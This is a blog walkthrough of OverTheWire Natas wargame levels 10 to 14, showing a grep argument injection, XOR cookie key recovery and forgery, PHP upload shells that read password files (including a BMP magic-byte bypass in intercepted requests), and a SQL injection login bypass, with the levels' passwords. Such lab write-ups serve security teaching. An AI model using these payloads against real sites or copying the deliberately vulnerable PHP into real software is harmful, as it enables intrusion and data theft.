Introduction
This is the third of my writeups for OverTheWire’s Natas series of challenges. You can view the first part here and the second part here
Level 10
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Upon opening the webpage, I am greeted with a form that looks similar to the page I saw in challenge 9. When I view the source code, I can see the difference between the two challenges:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
We have to do the same thing we did in 9, but without using any of the following characters: /[;|&]/
.
Interesting, so we cannot call a second command like cat to get the password, we have to do everything from within grep.
From challenge 9, we know that the goal is to read the contents of the file /etc/natas_webpass/natas11
so we can get the password to move onto challenge 11.
Once again, we know the command being run is grep -i $key dictionary.txt"
and the part of the command we can manipulate is $key
.
grep can take multiple files as inputs, so we can do something like this:
1
a /etc/natas_webpass/natas11
so that the full command being run is
1
grep -i a /etc/natas_webpass/natas11 dictionary.txt
This means it will search for the character a
in both files. After running this, we are not given the password for the next level, because a
is not in the password/it was not found in the password file so it was not printed. So, essentially, we just have to keep guessing characters until we get something within the flag. The final injection that worked for me used the letter d
.
Injection: d /etc/natas_webpass/natas11
1
2
3
Output:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
NOTE: the rest of the output is omitted as it is LONG
Level 11
User: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
We are given a form that can be used to set the background color, as well as the following text:
Cookies are protected with XOR encryption
Interesting, let’s view the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
Alright.. This is a long one. Let’s take it step by step.
First, let’s see what code is set to run everytime (Basically what is not a function)
1
2
3
4
5
6
7
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
Ok, it looks like the background color that we can enter is thrown into the data object. The object uses a key/value system, like a json file or a python dictionary.
The data is then stored with the following line of code:
1
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
So It’s saved as a cookie named data, it is base64 encoded, xor encrypted, and json encoded.
1
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
%3d
is a url-encoded version of =
. So, the cookie value is ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
.
The nex thing that you need to know to solve this is how xor works. Refer to the logic below.
1
2
3
4
A ^ B = C
C ^ A = B
C ^ B = A
B ^ C = A
So, you need two of the three items in order to get the third one. I modified the xor function to pass in the “key”, which is not really the key but the other item used to XOR. Remember, if we XOR two of the three things, we get the third thing. So if we XOR the original plaintext (the json string of the default array) and the output (the cookie before being base64 encoded) we can get the third thing (they key used to XOR the plaintext into the ciphertext).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
?php
function xor_encrypt($in, $key) {
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$enc_defaults = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$key = xor_encrypt($enc_defaults, $defaultdata);
echo $key;
?>
Now we have the XOR key - qw8J
.
Let’s modify the script to use this key along with the modified default-data array - where showpassword
is equal to yes
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$enc_defaults = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$defaultdata = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$key = base64_encode(xor_encrypt($defaultdata));
echo $key;
?>
After refreshing the page, we get the password for the next level.
1
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 12
user: natas12
password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
In this challenge, we can upload that we can then access. The goal in this type of challenge is to run PHP code on the server. I create a simple file with the following function, which puts the contents of a file into a string.
https://www.php.net/manual/en/function.file-get-contents.php
From previous levels, we know that the flag for the next level will be at this location:
1
/etc/natas_webpass/natas13
Therefore, I can make the script:
1
2
3
4
<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>
However, when I upload this file it changes to a JPG. To fix this, I intercept the web request for uploading a file using BurpSuite and I see that the jpg
extension is hard-coded on the webpage.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Length: 507
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
Origin: http://natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsRZsuZgRjxQOk0y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas12.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="filename"
SOMENUMBERS.JPG
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/octet-stream
<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>
------WebKitFormBoundaryZsRZsuZgRjxQOk0y--
We can change the default value to the php
file extension..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Length: 507
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
Origin: http://natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsRZsuZgRjxQOk0y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas12.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="filename"
shell.php
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/octet-stream
<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>
------WebKitFormBoundaryZsRZsuZgRjxQOk0y--
We can then go to the URL created from the upload and get the flag.
1
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13
User: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
This challenge is mostly the same as Level 12, although there is one change in the source code.
1
2
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
What this code does is check the magic bytes/first couple of bytes of a file match up with those usually found in common image files. The file header for one type of image file, a BMP file, is simply BMP
. So, if the file starts with BMP, the file is then seen as an image according to this function.
Once again, I intercepted the request with burpsuite and made the appropriate change from jpg
to php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /index.php HTTP/1.1
Host: natas13.natas.labs.overthewire.org
Content-Length: 509
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMzpqbUxUWTBxaVBaQmJhS2M5MzQxY3FQUVpCSnY3TVFiWQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas13.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyQ0uFKnhclInCf3Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas13.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="filename"
0o7t5vxole.php
------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/octet-stream
BMP<?php
$homepage = file_get_contents('/etc/natas_webpass/natas14');
echo $homepage;
?>
------WebKitFormBoundaryyQ0uFKnhclInCf3Z--
I can now access the file I uploaded to get the password for the next level.
1
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14
User: Natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Looking at the source code, this appears to be a very simple SQL challenge. We can see the query being run as well as how our input interacts with it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
Specifically, the line:
1
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
We can use a very simple SQL injection to bypass this. We know that the username natas15
exists because that is what the next level holds, so we can use a basic SQL injection in the password field.
1
" or 1=1#
With this injection, our query will be
1
SELECT * from users where username=natas15 and password="" or 1=1#;
With this, the password field will come back as true even though we do not know the password.
1
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Conclusion
Natas11 was definetelely more difficult than any of the other challenges in this writeup. I found all the other challenges to be fairly basic.